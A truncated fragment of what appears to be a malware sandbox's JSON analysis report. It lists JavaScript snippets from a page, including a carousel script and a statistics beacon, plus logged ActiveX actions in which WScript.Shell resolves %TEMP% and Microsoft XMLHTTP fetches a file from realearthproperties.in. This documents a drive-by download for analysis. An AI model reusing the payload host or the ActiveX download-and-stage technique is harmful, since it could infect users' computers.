"snippet": "function sliderInit() {\t$(\"#wp_man_wrapper\").carouFredSel({\t\tdebug\t: true,\t\tcircular: false,\t infinite: false,\t align : \"center\",\t\tresponsive: true,\t\twidth: '100%',\t auto\t: { \t\tplay\t: false,\t \ttimeoutDuration : 5000\t },\t items\t: {\t\t\tvisible: {\t\t\t\t\tmin: 1,\t\t\t\t\tmax: 8\t\t\t\t\t },\t\t\tstart\t: 0,\t\t\twidth : \"98\",\t\t\theight : \"98\"\t\t\t\t\t},\t\t\t\tscroll\t: {\t\t\titems\t: 8,\t\t\tfx\t : \"none\",\t\t\tduration: 500,\t\t\tpauseOnHover: true\t\t},\t\tprev\t: {\t\t\tbutton\t: \"#wp_man_prev\",\t\t\tkey\t\t: \"left\"\t\t},\t\tnext\t: {\t\t\tbutton\t: \"#wp_man_next\",\t\t\tkey\t\t: \"right\"\t\t}, \t\tswipe: {\t\t\t\t\tonMouse: true,\t\t\t\t\tonTouch: true\t\t\t }\t}, \t{ wrapper : { \t element : \"div\", \t classname : \"wp_caroufredsel_wrapper\" \t },\t classnames\t\t: {\t\t selected\t\t: \"selected\",\t\t hidden\t\t\t: \"hidden\",\t\t disabled\t\t: \"disabled\",\t\t paused\t\t\t: \"paused\",\t\t stopped\t\t\t: \"stopped\"\t } });};$(function(){ $('#wp_man').addClass('loader'); // display loader $(window).load(function() { $('#wp_man').removeClass('loader'); $('#wp_man_wrapper').show(200); sliderInit(); $(\"#wp_man_wrapper\").touchwipe({ wipeLeft: function() { $('#wp_man_wrapper').trigger('next', 8); }, wipeRight: function() { $('#wp_man_wrapper').trigger('prev', 8); } }); }); });",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "var time_start;\t\t\t\t$(window).load(\t\t\t\t\tfunction() {\t\t\t\t\t\ttime_start = new Date();\t\t\t\t\t}\t\t\t\t);\t\t\t\t$(window).unload(\t\t\t\t\tfunction() {\t\t\t\t\t\tvar time_end = new Date();\t\t\t\t\t\tvar pagetime = new Object;\t\t\t\t\t\tpagetime.type = \"pagetime\";\t\t\t\t\t\tpagetime.id_connections = \"1085735\";\t\t\t\t\t\tpagetime.id_page = \"12\";\t\t\t\t\t\tpagetime.time_start = \"2016-12-15 21:01:24\";\t\t\t\t\t\tpagetime.token = \"ec831d5fe8785505ac897f1b978a2b80cce75cb9\";\t\t\t\t\t\tpagetime.time = time_end-time_start;\t\t\t\t\t\t$.post(\"http://decorvise.com/index.php?controller=statistics\", pagetime);\t\t\t\t\t}\t\t\t\t);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
}
],
"exploits": [
{
"url": "about:blank",
"cve": null,
"data": {
"wshshell": "%TEMP%/"
},
"description": "ExpandEnvironmentStrings",
"module": "WScript.Shell ActiveX"
},
{
"url": "about:blank",
"cve": null,
"data": {
"url": "http://realearthproperties.in/hwzyedmxdm",
"async": "False",
"method": "GET"
},
"description": "Open",
"module": "Microsoft XMLHTTP ActiveX"
},
{
"url": "about:blank",
"cve": null,
"data": {
"url": "http://realearthproperties.in/hwzyedmxdm",
"method": "GET"
},
"description": "Send",
"module": "Microsoft XMLHTTP ActiveX"
},
{
"url": "about:blank",
"cve": null,
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment